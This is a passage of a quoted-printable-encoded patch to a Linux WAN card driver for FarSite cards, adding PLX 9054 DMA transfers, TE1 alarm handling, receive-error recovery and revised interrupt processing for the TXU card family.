);=0A= - outl ( regval & ~0x40000000, card->pci_conf + 0x50 );=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + if (pci_read_config_byte(card->device, PCIILR, = &interrupt_line_register))=0A= + {=0A= + dbg (DBG_ASS, "Error in reading interrupt line register\n");=0A= + }=0A= + /*=0A= + * Assert PLX software reset and Am186 hardware reset=0A= + * and then deassert the PLX software reset but 186 still in = reset=0A= + */=0A= + outw ( 0x440f, card->pci_conf + CNTRL_9054 + 2 );=0A= + outw ( 0x040f, card->pci_conf + CNTRL_9054 + 2 );=0A= + /*=0A= + * We are delaying here to allow the 9054 to reset itself=0A= + */=0A= + j =3D jiffies + 1;=0A= + while (jiffies < j)=0A= + /* Do nothing */;=0A= + outw ( 0x240f, card->pci_conf + CNTRL_9054 + 2 );=0A= + /*=0A= + * We are delaying here to allow the 9054 to reload its eeprom=0A= + */=0A= + j =3D jiffies + 1;=0A= + while (jiffies < j)=0A= + /* Do nothing */;=0A= + outw ( 0x040f, card->pci_conf + CNTRL_9054 + 2 );=0A= + =0A= + if (pci_write_config_byte(card->device, PCIILR, = interrupt_line_register))=0A= + {=0A= + dbg (DBG_ASS, "Error in writing interrupt line register\n");=0A= + }=0A= + =0A= + }=0A= + else=0A= + {=0A= + regval =3D inl ( card->pci_conf + CNTRL_9052 );=0A= +=0A= + outl ( regval | 0x40000000, card->pci_conf + CNTRL_9052 );=0A= + outl ( regval & ~0x40000000, card->pci_conf + CNTRL_9052 );=0A= + }=0A= }=0A= =0A= /* Release the processor from reset=0A= @@ -454,7 +751,24 @@=0A= static inline void=0A= fst_cpurelease ( struct fst_card_info *card )=0A= {=0A= - (void) readb ( card->ctlmem );=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + /*=0A= + * Force posted writes to complete=0A= + */=0A= + (void) readb (card->mem);=0A= +=0A= + /*=0A= + * Release LRESET DO =3D 1=0A= + * Then release Local Hold, DO =3D 1=0A= + */=0A= + outw ( 0x040e, card->pci_conf + CNTRL_9054 + 2 );=0A= + outw ( 0x040f, card->pci_conf + CNTRL_9054 + 2 );=0A= + }=0A= + else=0A= + {=0A= + (void) readb ( card->ctlmem );=0A= + }=0A= }=0A= =0A= /* Clear the cards interrupt flag=0A= @@ -462,9 +776,31 @@=0A= static inline void=0A= fst_clear_intr ( struct fst_card_info *card )=0A= {=0A= - /* Poke the appropriate PLX chip register (same as enabling = interrupts)=0A= - */=0A= - outw ( 0x0543, card->pci_conf + 0x4C );=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + (void) readb ( card->ctlmem );=0A= + }=0A= + else=0A= + {=0A= + /* Poke the appropriate PLX chip register (same as enabling = interrupts)=0A= + */=0A= + outw ( 0x0543, card->pci_conf + INTCSR_9052 );=0A= + }=0A= +}=0A= +=0A= +/* Enable card interrupts=0A= + */=0A= +static inline void=0A= +fst_enable_intr ( struct fst_card_info *card )=0A= +{=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + outl ( 0x0f0c0900, card->pci_conf + INTCSR_9054 );=0A= + }=0A= + else=0A= + {=0A= + outw ( 0x0543, card->pci_conf + INTCSR_9052 );=0A= + }=0A= }=0A= =0A= /* Disable card interrupts=0A= @@ -472,7 +808,196 @@=0A= static inline void=0A= fst_disable_intr ( struct fst_card_info *card )=0A= {=0A= - outw ( 0x0000, card->pci_conf + 0x4C );=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + outl ( 0x00000000, card->pci_conf + INTCSR_9054 );=0A= + }=0A= + else=0A= + {=0A= + outw ( 0x0000, card->pci_conf + INTCSR_9052 );=0A= + }=0A= +}=0A= +=0A= +/* Process the result of trying to pass a recieved frame up the = stack=0A= + */=0A= +static void fst_process_rx_status ( int rx_status , char *name)=0A= +{=0A= + switch (rx_status)=0A= + {=0A= + case NET_RX_SUCCESS:=0A= + {=0A= + /*=0A= + * Nothing to do here=0A= + */=0A= + break;=0A= + }=0A= +=0A= + case NET_RX_CN_LOW:=0A= + {=0A= + printk_warn("%s: Receive Low Congestion\n", name);=0A= + break;=0A= + }=0A= +=0A= + case NET_RX_CN_MOD:=0A= + {=0A= + printk_warn("%s: Receive Moderate Congestion\n", name);=0A= + break;=0A= + }=0A= +=0A= + case NET_RX_CN_HIGH:=0A= + {=0A= + printk_warn("%s: Receive High Congestion\n", name);=0A= + break;=0A= + }=0A= +=0A= + case NET_RX_DROP:=0A= + {=0A= + printk_err("%s: Received packet dropped\n", name);=0A= + break;=0A= + }=0A= + }=0A= +}=0A= +=0A= +=0A= +/* Initilaise DMA for PLX 9054=0A= + */=0A= +static inline void=0A= +fst_init_dma ( struct fst_card_info *card )=0A= +{=0A= + unsigned short pci_cr;=0A= +=0A= + /*=0A= + * This is only required for the PLX 9054=0A= + */=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + pci_read_config_word (card->device, PCICR, &pci_cr);=0A= + pci_cr |=3D 0x0004;=0A= + pci_write_config_word (card->device, PCICR, pci_cr); /* Enable = DMA Bus mastering */=0A= + outl ( 0x00020441, card->pci_conf + DMAMODE0 );=0A= + outl ( 0x00020441, card->pci_conf + DMAMODE1 );=0A= + outl ( 0x0, card->pci_conf + DMATHR );=0A= + }=0A= +}=0A= +=0A= +=0A= +/* Tx dma complete interrupt=0A= + */=0A= +static void=0A= +fst_tx_dma_complete ( struct fst_card_info *card, struct fst_port_info = *port, =0A= + int len, int txpos)=0A= +{=0A= + /*=0A= + * Everything is now set, just tell the card to go=0A= + */=0A= + dbg(DBG_TX, "fst_tx_dma_complete\n");=0A= + FST_WRB ( card, txDescrRing[port->index][txpos].bits, =0A= + DMA_OWN | TX_STP | TX_ENP );=0A= + port->hdlc.stats.tx_packets++;=0A= + port->hdlc.stats.tx_bytes +=3D len;=0A= + port_to_dev(port)->trans_start =3D jiffies;=0A= +}=0A= +=0A= +/* Rx dma complete interrupt=0A= + */=0A= +static void=0A= +fst_rx_dma_complete ( struct fst_card_info *card, struct fst_port_info = *port,=0A= + int len, struct sk_buff *skb, int rxp)=0A= +{=0A= + =0A= + int pi;=0A= + int rx_status;=0A= +=0A= + dbg(DBG_TX, "fst_rx_dma_complete\n");=0A= + pi =3D port->index;=0A= + memcpy(skb_put(skb, len), card->rx_dma_handle_host, len);=0A= +=0A= + /* Reset buffer descriptor */=0A= + FST_WRB ( card, rxDescrRing[pi][rxp].bits, DMA_OWN );=0A= +=0A= + /* Update stats */=0A= + port->hdlc.stats.rx_packets++;=0A= + port->hdlc.stats.rx_bytes +=3D len;=0A= +=0A= + /* Push upstream */=0A= + dbg(DBG_RX, "Pushing the frame up the stack\n");=0A= + skb->mac.raw =3D skb->data;=0A= + skb->dev =3D hdlc_to_dev(&port->hdlc);=0A= + if (port->mode =3D=3D FST_RAW)=0A= + {=0A= + /*=0A= + * Mark it for our own raw sockets interface=0A= + */=0A= + skb->protocol =3D htons (ETH_P_CUST);=0A= + skb->pkt_type =3D PACKET_HOST;=0A= + }=0A= + else=0A= + {=0A= + skb->protocol =3D hdlc_type_trans (skb, skb->dev);=0A= + }=0A= + rx_status =3D netif_rx ( skb );=0A= + fst_process_rx_status(rx_status, port_to_dev(port)->name);=0A= + if (rx_status =3D=3D NET_RX_DROP)=0A= + port->hdlc.stats.rx_dropped++;=0A= + port_to_dev(port)->last_rx =3D jiffies;=0A= +}=0A= +=0A= +/*=0A= + * Receive a frame through the DMA=0A= + */=0A= +static inline void=0A= +fst_rx_dma (struct fst_card_info *card, unsigned char *skb, =0A= + unsigned char *mem, int len)=0A= +{=0A= + /*=0A= + * This routine will setup the DMA and start it=0A= + */=0A= +=0A= + dbg(DBG_RX, "In fst_rx_dma %p %p %d\n", skb, mem, len);=0A= + if (card->dmarx_in_progress)=0A= + {=0A= + dbg(DBG_ASS, "In fst_rx_dma while dma in progress\n");=0A= + }=0A= +=0A= + outl ( (unsigned long)skb, card->pci_conf + DMAPADR0 ); /* Copy to = here */=0A= + outl ( (unsigned long)mem, card->pci_conf + DMALADR0 ); /* from = here */=0A= + outl ( len, card->pci_conf + DMASIZ0 ); /* for this length = */=0A= + outl ( 0x00000000c, card->pci_conf + DMADPR0); /* In this direction = */=0A= +=0A= + /*=0A= + * We use the dmarx_in_progress flag to flag the channel as busy=0A= + */=0A= + card->dmarx_in_progress =3D 1;=0A= + outb ( 0x03, card->pci_conf + DMACSR0 ); /* Start the transfer = */=0A= +}=0A= +=0A= +/*=0A= + * Send a frame through the DMA=0A= + */=0A= +static inline void=0A= +fst_tx_dma (struct fst_card_info *card, unsigned char *skb, =0A= + unsigned char *mem, int len)=0A= +{=0A= + /*=0A= + * This routine will setup the DMA and start it.=0A= + */=0A= +=0A= + dbg(DBG_TX, "In fst_tx_dma %p %p %d\n", skb, mem, len);=0A= + if (card->dmatx_in_progress)=0A= + {=0A= + dbg(DBG_ASS, "In fst_tx_dma while dma in progress\n");=0A= + }=0A= +=0A= + outl ( (unsigned long)skb, card->pci_conf + DMAPADR1 ); /* Copy = from here */=0A= + outl ( (unsigned long)mem, card->pci_conf + DMALADR1 ); /* to here = */=0A= + outl ( len, card->pci_conf + DMASIZ1 ); /* for this length = */=0A= + outl ( 0x000000004, card->pci_conf + DMADPR1); /* In this direction = */=0A= +=0A= + /*=0A= + * We use the dmatx_in_progress to flag the channel as busy=0A= + */=0A= + card->dmatx_in_progress =3D 1;=0A= + outb ( 0x03, card->pci_conf + DMACSR1 ); /* Start the transfer = */=0A= }=0A= =0A= =0A= @@ -496,11 +1021,11 @@=0A= /* Wait for any previous command to complete */=0A= while ( mbval > NAK )=0A= {=0A= - spin_unlock_irqrestore ( &card->card_lock, flags );=0A= + spin_unlock_irqrestore ( &card->card_lock, flags );=0A= schedule_timeout ( 1 );=0A= spin_lock_irqsave ( &card->card_lock, flags );=0A= =0A= - if ( ++safety > 1000 )=0A= + if ( ++safety > 2000 )=0A= {=0A= printk_err ("Mailbox safety timeout\n");=0A= break;=0A= @@ -523,7 +1048,7 @@=0A= {=0A= port->txpos =3D 0;=0A= port->txipos =3D 0;=0A= - port->txcnt =3D 0;=0A= + port->start =3D 0;=0A= }=0A= =0A= spin_unlock_irqrestore ( &card->card_lock, flags );=0A= @@ -576,7 +1101,7 @@=0A= FST_WRB ( card, rxDescrRing[pi][i].hadr, (u8)( offset = >> 16 ));=0A= FST_WRW ( card, rxDescrRing[pi][i].bcnt,=0A= cnv_bcnt ( LEN_RX_BUFFER = ));=0A= - FST_WRW ( card, rxDescrRing[pi][i].mcnt, 0 );=0A= + FST_WRW ( card, rxDescrRing[pi][i].mcnt, LEN_RX_BUFFER = );=0A= FST_WRB ( card, rxDescrRing[pi][i].bits, DMA_OWN );=0A= }=0A= port->rxpos =3D 0;=0A= @@ -610,11 +1135,63 @@=0A= }=0A= port->txpos =3D 0;=0A= port->txipos =3D 0;=0A= - port->txcnt =3D 0;=0A= + port->start =3D 0;=0A= spin_unlock_irqrestore ( &card->card_lock, flags );=0A= }=0A= =0A= =0A= +/* TE1 Alarm change interrupt event=0A= + */=0A= +static void=0A= +fst_intr_te1_alarm ( struct fst_card_info *card, struct fst_port_info = *port )=0A= +{=0A= + u8 los;=0A= + u8 rra;=0A= + u8 ais;=0A= +=0A= + los =3D FST_RDB ( card, suStatus.lossOfSignal );=0A= + rra =3D FST_RDB ( card, suStatus.receiveRemoteAlarm );=0A= + ais =3D FST_RDB ( card, suStatus.alarmIndicationSignal );=0A= +=0A= + if ( los )=0A= + {=0A= + /*=0A= + * Lost the link=0A= + */=0A= + if (netif_carrier_ok(port_to_dev(port)))=0A= + {=0A= + dbg ( DBG_INTR,"Net carrier off\n");=0A= + netif_carrier_off(port_to_dev(port));=0A= + } =0A= + }=0A= + else=0A= + {=0A= + /*=0A= + * Link available=0A= + */=0A= + if ( ! netif_carrier_ok(port_to_dev(port)))=0A= + {=0A= + dbg ( DBG_INTR,"Net carrier on\n"); =0A= + netif_carrier_on(port_to_dev(port));=0A= + }=0A= + }=0A= +=0A= + if (los)=0A= + dbg (DBG_INTR, "Assert LOS Alarm\n");=0A= + else=0A= + dbg (DBG_INTR, "De-assert LOS Alarm\n");=0A= + if (rra)=0A= + dbg (DBG_INTR, "Assert RRA Alarm\n");=0A= + else=0A= + dbg (DBG_INTR, "De-assert RRA Alarm\n");=0A= +=0A= + if (ais)=0A= + dbg (DBG_INTR, "Assert AIS Alarm\n");=0A= + else=0A= + dbg (DBG_INTR, "De-assert AIS Alarm\n");=0A= +}=0A= +=0A= +=0A= /* Control signal change interrupt event=0A= */=0A= static void=0A= @@ -624,7 +1201,8 @@=0A= =0A= signals =3D FST_RDL ( card, v24DebouncedSts[port->index]);=0A= =0A= - if ( signals & (( port->hwif =3D=3D X21 ) ? IPSTS_INDICATE : = IPSTS_DCD ))=0A= + if ( signals & (((port->hwif =3D=3D X21) || (port->hwif =3D=3D = X21D)) =0A= + ? IPSTS_INDICATE : IPSTS_DCD ))=0A= {=0A= if ( ! netif_carrier_ok ( port_to_dev ( port )))=0A= {=0A= @@ -642,6 +1220,86 @@=0A= }=0A= }=0A= =0A= +/* Log Rx Errors=0A= + */=0A= +static void=0A= +fst_log_rx_error ( struct fst_card_info *card, struct fst_port_info = *port,=0A= + unsigned char dmabits, int rxp, unsigned short len)=0A= +{=0A= + /* =0A= + * Increment the appropriate error counter=0A= + */=0A= + port->hdlc.stats.rx_errors++;=0A= + if ( dmabits & RX_OFLO )=0A= + {=0A= + port->hdlc.stats.rx_fifo_errors++;=0A= + dbg(DBG_ASS, "Rx fifo error on card %d port %d buffer %d\n", =0A= + card->card_no, port->index, rxp);=0A= + }=0A= + if ( dmabits & RX_CRC )=0A= + {=0A= + port->hdlc.stats.rx_crc_errors++;=0A= + dbg(DBG_ASS, "Rx crc error on card %d port %d\n",=0A= + card->card_no, port->index);=0A= + }=0A= + if ( dmabits & RX_FRAM )=0A= + {=0A= + port->hdlc.stats.rx_frame_errors++;=0A= + dbg(DBG_ASS, "Rx frame error on card %d port %d\n",=0A= + card->card_no, port->index);=0A= + }=0A= + if ( dmabits =3D=3D ( RX_STP | RX_ENP ))=0A= + {=0A= + port->hdlc.stats.rx_length_errors++;=0A= + dbg(DBG_ASS, "Rx length error (%d) on card %d port %d\n", =0A= + len,card->card_no, port->index);=0A= + }=0A= +}=0A= +=0A= +/* Rx Error Recovery=0A= + */=0A= +static void=0A= +fst_recover_rx_error ( struct fst_card_info *card, struct = fst_port_info *port,=0A= + unsigned char dmabits, int rxp, unsigned short len)=0A= +{=0A= + int i;=0A= + int pi;=0A= +=0A= + pi =3D port->index;=0A= + /* =0A= + * Discard buffer descriptors until we see the start of the=0A= + * next frame. Note that for long frames this could be in=0A= + * a subsequent interrupt. =0A= + */=0A= + i =3D 0;=0A= + while (( dmabits & ( DMA_OWN | RX_STP )) =3D=3D 0 )=0A= + {=0A= + FST_WRB ( card, rxDescrRing[pi][rxp].bits, DMA_OWN );=0A= + if ( ++rxp >=3D NUM_RX_BUFFER )=0A= + rxp =3D 0;=0A= + if ( ++i > NUM_RX_BUFFER )=0A= + {=0A= + dbg ( DBG_ASS,"intr_rx: Discarding more bufs"=0A= + " than we have\n");=0A= + break;=0A= + }=0A= + dmabits =3D FST_RDB ( card, rxDescrRing[pi][rxp].bits );=0A= + dbg(DBG_ASS, "DMA Bits of next buffer was %x\n", dmabits);=0A= + }=0A= + dbg(DBG_ASS, "There were %d subsequent buffers in error\n", i);=0A= + =0A= + /* Discard the terminal buffer */=0A= + if ( ! ( dmabits & DMA_OWN ))=0A= + {=0A= + FST_WRB ( card, rxDescrRing[pi][rxp].bits, DMA_OWN );=0A= + if ( ++rxp >=3D NUM_RX_BUFFER )=0A= + rxp =3D 0;=0A= + }=0A= + port->rxpos =3D rxp;=0A= + return;=0A= + =0A= +}=0A= +=0A= =0A= /* Rx complete interrupt=0A= */=0A= @@ -651,10 +1309,9 @@=0A= unsigned char dmabits;=0A= int pi;=0A= int rxp;=0A= + int rx_status;=0A= unsigned short len;=0A= struct sk_buff *skb;=0A= - int i;=0A= -=0A= =0A= /* Check we have a buffer to process */=0A= pi =3D port->index;=0A= @@ -666,11 +1323,32 @@=0A= pi, rxp );=0A= return;=0A= }=0A= + if (card->dmarx_in_progress)=0A= + {=0A= + return;=0A= + }=0A= =0A= /* Get buffer length */=0A= len =3D FST_RDW ( card, rxDescrRing[pi][rxp].mcnt );=0A= /* Discard the CRC */=0A= len -=3D 2;=0A= + if (len =3D=3D 0)=0A= + {=0A= + /*=0A= + * This seems to happen on the TE1 interface sometimes=0A= + * so throw the frame away and log the event.=0A= + */=0A= + printk_err("Frame received with 0 length. Card %d Port %d\n",=0A= + card->card_no, port->index);=0A= + /* Return descriptor to card */=0A= + FST_WRB ( card, rxDescrRing[pi][rxp].bits, DMA_OWN );=0A= + =0A= + if ( ++rxp >=3D NUM_RX_BUFFER )=0A= + port->rxpos =3D 0;=0A= + else=0A= + port->rxpos =3D rxp;=0A= + return;=0A= + }=0A= =0A= /* Check buffer length and for other errors. We insist on one = packet=0A= * in one buffer. This simplifies things greatly and since = we've=0A= @@ -680,53 +1358,9 @@=0A= len );=0A= if ( dmabits !=3D ( RX_STP | RX_ENP ) || len > LEN_RX_BUFFER - = 2 )=0A= {=0A= - port->hdlc.stats.rx_errors++;=0A= -=0A= - /* Update error stats and discard buffer */=0A= - if ( dmabits & RX_OFLO )=0A= - {=0A= - port->hdlc.stats.rx_fifo_errors++;=0A= - }=0A= - if ( dmabits & RX_CRC )=0A= - {=0A= - port->hdlc.stats.rx_crc_errors++;=0A= - }=0A= - if ( dmabits & RX_FRAM )=0A= - {=0A= - port->hdlc.stats.rx_frame_errors++;=0A= - }=0A= - if ( dmabits =3D=3D ( RX_STP | RX_ENP ))=0A= - {=0A= - port->hdlc.stats.rx_length_errors++;=0A= - }=0A= -=0A= - /* Discard buffer descriptors until we see the end of = packet=0A= - * marker=0A= - */=0A= - i =3D 0;=0A= - while (( dmabits & ( DMA_OWN | RX_ENP )) =3D=3D 0 )=0A= - {=0A= - FST_WRB ( card, rxDescrRing[pi][rxp].bits, = DMA_OWN );=0A= - if ( ++rxp >=3D NUM_RX_BUFFER )=0A= - rxp =3D 0;=0A= - if ( ++i > NUM_RX_BUFFER )=0A= - {=0A= - dbg ( DBG_ASS,"intr_rx: Discarding = more bufs"=0A= - " than we have\n");=0A= - break;=0A= - }=0A= - dmabits =3D FST_RDB ( card, = rxDescrRing[pi][rxp].bits );=0A= - }=0A= -=0A= - /* Discard the terminal buffer */=0A= - if ( ! ( dmabits & DMA_OWN ))=0A= - {=0A= - FST_WRB ( card, rxDescrRing[pi][rxp].bits, = DMA_OWN );=0A= - if ( ++rxp >=3D NUM_RX_BUFFER )=0A= - rxp =3D 0;=0A= - }=0A= - port->rxpos =3D rxp;=0A= - return;=0A= + fst_log_rx_error(card, port, dmabits, rxp, len);=0A= + fst_recover_rx_error(card, port, dmabits, rxp, len);=0A= + return;=0A= }=0A= =0A= /* Allocate SKB */=0A= @@ -746,28 +1380,210 @@=0A= return;=0A= }=0A= =0A= - memcpy_fromio ( skb_put ( skb, len ),=0A= - card->mem + BUF_OFFSET ( = rxBuffer[pi][rxp][0]),=0A= - len );=0A= + /*=0A= + * We know the length we need to receive, len.=0A= + * It's not worth using the DMA for reads of less than=0A= + * FST_MIN_DMA_LEN=0A= + */=0A= +=0A= + if ((len < FST_MIN_DMA_LEN) || (card->family =3D=3D = FST_FAMILY_TXP))=0A= + {=0A= + memcpy_fromio ( skb_put ( skb, len ),=0A= + card->mem + BUF_OFFSET ( rxBuffer[pi][rxp][0]),=0A= + len );=0A= +=0A= + /* Reset buffer descriptor */=0A= + FST_WRB ( card, rxDescrRing[pi][rxp].bits, DMA_OWN );=0A= +=0A= + /* Update stats */=0A= + port->hdlc.stats.rx_packets++;=0A= + port->hdlc.stats.rx_bytes +=3D len;=0A= + =0A= + /* Push upstream */=0A= + dbg(DBG_RX, "Pushing frame up the stack\n");=0A= + skb->mac.raw =3D skb->data;=0A= + skb->dev =3D hdlc_to_dev (&port->hdlc);=0A= + if (port->mode =3D=3D FST_RAW)=0A= + {=0A= + /*=0A= + * Mark it for our own raw sockets interface=0A= + */=0A= + skb->protocol =3D htons (ETH_P_CUST);=0A= + skb->pkt_type =3D PACKET_HOST;=0A= + }=0A= + else=0A= + {=0A= + skb->protocol =3D hdlc_type_trans (skb, = skb->dev);=0A= + }=0A= + rx_status =3D netif_rx ( skb );=0A= + fst_process_rx_status( rx_status, = port_to_dev(port)->name );=0A= + if (rx_status =3D=3D NET_RX_DROP)=0A= + {=0A= + port->hdlc.stats.rx_dropped++;=0A= + }=0A= + port_to_dev (port)->last_rx =3D jiffies;=0A= + }=0A= + else=0A= + {=0A= + card->dma_skb_rx =3D skb;=0A= + card->dma_port_rx =3D port;=0A= + card->dma_len_rx =3D len;=0A= + card->dma_rxpos =3D rxp;=0A= + fst_rx_dma(card, (char*)card->rx_dma_handle_card, =0A= + (char*)BUF_OFFSET(rxBuffer[pi][rxp][0]), =0A= + len);=0A= + }=0A= + if (rxp !=3D port->rxpos)=0A= + {=0A= + dbg(DBG_ASS, "About to increment rxpos by more than 1\n");=0A= + dbg(DBG_ASS, "rxp =3D %d rxpos =3D %d\n", rxp, port->rxpos);=0A= + }=0A= + if ( ++rxp >=3D NUM_RX_BUFFER )=0A= + port->rxpos =3D 0;=0A= + else=0A= + port->rxpos =3D rxp;=0A= +}=0A= =0A= - /* Reset buffer descriptor */=0A= - FST_WRB ( card, rxDescrRing[pi][rxp].bits, DMA_OWN );=0A= - if ( ++rxp >=3D NUM_RX_BUFFER )=0A= - port->rxpos =3D 0;=0A= - else=0A= - port->rxpos =3D rxp;=0A= =0A= - /* Update stats */=0A= - port->hdlc.stats.rx_packets++;=0A= - port->hdlc.stats.rx_bytes +=3D len;=0A= +/*=0A= + * The bottom halfs to the ISR=0A= + *=0A= + */=0A= =0A= - /* Push upstream */=0A= - skb->mac.raw =3D skb->data;=0A= - skb->dev =3D hdlc_to_dev ( &port->hdlc );=0A= - skb->protocol =3D hdlc_type_trans(skb, skb->dev);=0A= - netif_rx ( skb );=0A= +static void do_bottom_half_tx (struct fst_card_info *card)=0A= +{=0A= + struct fst_port_info *port;=0A= + int pi;=0A= + int txq_length;=0A= + struct sk_buff *skb;=0A= + unsigned long flags;=0A= +=0A= + /*=0A= + * Find a free buffer for the transmit=0A= + * Step through each port on this card=0A= + */=0A= +=0A= + dbg(DBG_TX, "do_bottom_half_tx\n");=0A= + for ( pi =3D 0, port =3D card->ports ; pi < card->nports ; pi++, = port++ )=0A= + {=0A= + if ( ! port->run )=0A= + continue;=0A= +=0A= + while (!(FST_RDB ( card, txDescrRing[pi][port->txpos].bits ) & = DMA_OWN)=0A= + && !(card->dmatx_in_progress))=0A= + {=0A= + /*=0A= + * There doesn't seem to be a txdone event per-se=0A= + * We seem to have to deduce it, by checking the DMA_OWN=0A= + * bit on the next buffer we think we can use=0A= + */=0A= + spin_lock_irqsave ( &card->card_lock, flags );=0A= + if ((txq_length =3D port->txqe - port->txqs) < 0)=0A= + {=0A= + /*=0A= + * This is the case where one has wrapped and the=0A= + * maths gives us a negative number=0A= + */=0A= + txq_length =3D txq_length + FST_TXQ_DEPTH ;=0A= + }=0A= + spin_unlock_irqrestore ( &card->card_lock, flags );=0A= + if (txq_length > 0)=0A= + {=0A= + /*=0A= + * There is something to send=0A= + */=0A= + spin_lock_irqsave ( &card->card_lock, flags );=0A= + skb =3D port->txq[port->txqs];=0A= + port->txqs++;=0A= + if (port->txqs =3D=3D FST_TXQ_DEPTH)=0A= + {=0A= + port->txqs =3D 0;=0A= + }=0A= + spin_unlock_irqrestore ( &card->card_lock, flags );=0A= + /*=0A= + * copy the data and set the required indicators on the=0A= + * card.=0A= + */=0A= + FST_WRW ( card, txDescrRing[pi][port->txpos].bcnt, cnv_bcnt ( = skb->len ));=0A= + if ((skb->len < FST_MIN_DMA_LEN) || (card->family =3D=3D = FST_FAMILY_TXP))=0A= + {=0A= + /* Enqueue the packet with normal io*/=0A= + memcpy_toio ( card->mem + BUF_OFFSET ( = txBuffer[pi][port->txpos][0]),=0A= + skb->data, skb->len );=0A= + FST_WRB ( card, txDescrRing[pi][port->txpos].bits, DMA_OWN | = TX_STP | TX_ENP );=0A= + port->hdlc.stats.tx_packets++;=0A= + port->hdlc.stats.tx_bytes +=3D skb->len;=0A= + port_to_dev(port)->trans_start =3D jiffies;=0A= + }=0A= + else=0A= + {=0A= + /* Or do it through dma */=0A= + memcpy(card->tx_dma_handle_host, skb->data, skb->len);=0A= + card->dma_port_tx =3D port;=0A= + card->dma_len_tx =3D skb->len;=0A= + card->dma_txpos =3D port->txpos;=0A= + fst_tx_dma(card, (char*)card->tx_dma_handle_card, =0A= + (char*)BUF_OFFSET(txBuffer[pi][port->txpos][0]), =0A= + skb->len);=0A= + }=0A= + if ( ++port->txpos >=3D NUM_TX_BUFFER )=0A= + port->txpos =3D 0;=0A= + /*=0A= + * If we have flow control on, can we now release it?=0A= + */=0A= + if (port->start)=0A= + {=0A= + if (txq_length < fst_txq_low)=0A= + {=0A= + netif_wake_queue ( port_to_dev(port) );=0A= + port->start =3D 0;=0A= + }=0A= + }=0A= + dev_kfree_skb ( skb );=0A= + }=0A= + else=0A= + {=0A= + /*=0A= + * Nothing to send so break out of the while loop=0A= + */=0A= + break;=0A= + }=0A= + }=0A= + }=0A= +}=0A= =0A= - port_to_dev ( port )->last_rx =3D jiffies;=0A= +static void do_bottom_half_rx (struct fst_card_info *card)=0A= +{=0A= + struct fst_port_info *port;=0A= + int pi;=0A= + int rx_count=3D0;=0A= +=0A= + /* Check for rx completions on all ports on this card */=0A= + dbg(DBG_RX, "do_bottom_half_rx\n");=0A= + for ( pi =3D 0, port =3D card->ports ; pi < card->nports ; pi++, = port++ )=0A= + {=0A= + //rx_count =3D 0;=0A= + if ( ! port->run )=0A= + continue;=0A= + while (!( FST_RDB ( card, rxDescrRing[pi][port->rxpos].bits )=0A= + & DMA_OWN ) && !(card->dmarx_in_progress))=0A= + {=0A= + if (rx_count > fst_max_reads)=0A= + {=0A= + /*=0A= + * Don't spend forever in receive processing=0A= + * Schedule another event=0A= + */=0A= + fst_q_work_item(&fst_work_intq, card->card_no);=0A= + queue_task(&fst_int_task, &tq_immediate); =0A= + mark_bh(IMMEDIATE_BH); /* Note that this call must follow = queue_task */=0A= + //pi =3D card->nports;=0A= + break; /* Leave the loop */=0A= + }=0A= + fst_intr_rx ( card, port );=0A= + rx_count++;=0A= + }=0A= + }=0A= }=0A= =0A= =0A= @@ -783,7 +1599,9 @@=0A= int rdidx; /* Event buffer indices */=0A= int wridx;=0A= int event; /* Actual event for processing = */=0A= - int pi;=0A= + unsigned int dma_intcsr=3D0;=0A= + unsigned int do_card_interrupt;=0A= + unsigned int int_retry_count;=0A= =0A= if (( card =3D dev_id ) =3D=3D NULL )=0A= {=0A= @@ -791,100 +1609,160 @@=0A= return;=0A= }=0A= =0A= + /*=0A= + * Check to see if the interrupt was for this card=0A= + * return if not=0A= + * Note that the call to clear the interrupt is important=0A= + */=0A= dbg ( DBG_INTR,"intr: %d %p\n", irq, card );=0A= -=0A= - spin_lock ( &card->card_lock );=0A= + if (card->state !=3D FST_RUNNING)=0A= + {=0A= + printk_err("Interrupt received for card %d in a non running state = (%d)\n", card->card_no, card->state);=0A= +=0A= + /* =0A= + * It is possible to really be running, i.e. we have re-loaded=0A= + * a running card=0A= + * Clear and reprime the interrupt source =0A= + */=0A= + fst_clear_intr ( card );=0A= + return;=0A= + }=0A= =0A= /* Clear and reprime the interrupt source */=0A= fst_clear_intr ( card );=0A= =0A= - /* Set the software acknowledge */=0A= - FST_WRB ( card, interruptHandshake, 0xEE );=0A= -=0A= + /*=0A= + * Is the interrupt for this card (handshake =3D=3D 1)=0A= + */=0A= + do_card_interrupt =3D 0;=0A= + if (FST_RDB( card, interruptHandshake) =3D=3D 1)=0A= + {=0A= + do_card_interrupt +=3D FST_CARD_INT;=0A= + /* Set the software acknowledge */=0A= + FST_WRB ( card, interruptHandshake, 0xEE );=0A= + }=0A= + if (card->family =3D=3D FST_FAMILY_TXU)=0A= + {=0A= + /*=0A= + * Is it a DMA Interrupt=0A= + */=0A= + dma_intcsr =3D inl (card->pci_conf + INTCSR_9054);=0A= + if (dma_intcsr & 0x00200000)=0A= + {=0A= + /*=0A= + * DMA Channel 0 (Rx transfer complete)=0A= + */=0A= + dbg(DBG_RX, "DMA Rx xfer complete\n");=0A= + outb( 0x8, card->pci_conf + DMACSR0);=0A= + fst_rx_dma_complete (card, card->dma_port_rx, card->dma_len_rx,=0A= + card->dma_skb_rx, card->dma_rxpos);=0A= + card->dmarx_in_progress =3D 0;=0A= + do_card_interrupt +=3D FST_RX_DMA_INT;=0A= + }=0A= + if (dma_intcsr & 0x00400000)=0A= + {=0A= + /*=0A= + * DMA Channel 1 (Tx transfer complete)=0A= + */=0A= + dbg(DBG_TX, "DMA Tx xfer complete\n");=0A= + outb( 0x8, card->pci_conf + DMACSR1);=0A= + fst_tx_dma_complete (card, card->dma_port_tx, card->dma_len_tx,=0A= + card->dma_txpos);=0A= + card->dmatx_in_progress =3D 0;=0A= + do_card_interrupt +=3D FST_TX_DMA_INT;=0A= + }=0A= + }=0A= + =0A= + /*=0A= + * Have we been missing Interrupts=0A= + */=0A= + int_retry_count =3D FST_RDL( card, interruptRetryCount);=0A= + if (int_retry_count)=0A= + {=0A= + dbg(DBG_ASS, "Card %d int_retry_count is %d\n", =0A= + card->card_no, int_retry_count);=0A= + FST_WRL( card, interruptRetryCount, 0);=0A= + }=0A= +=0A= + if (!do_card_interrupt)=0A= + 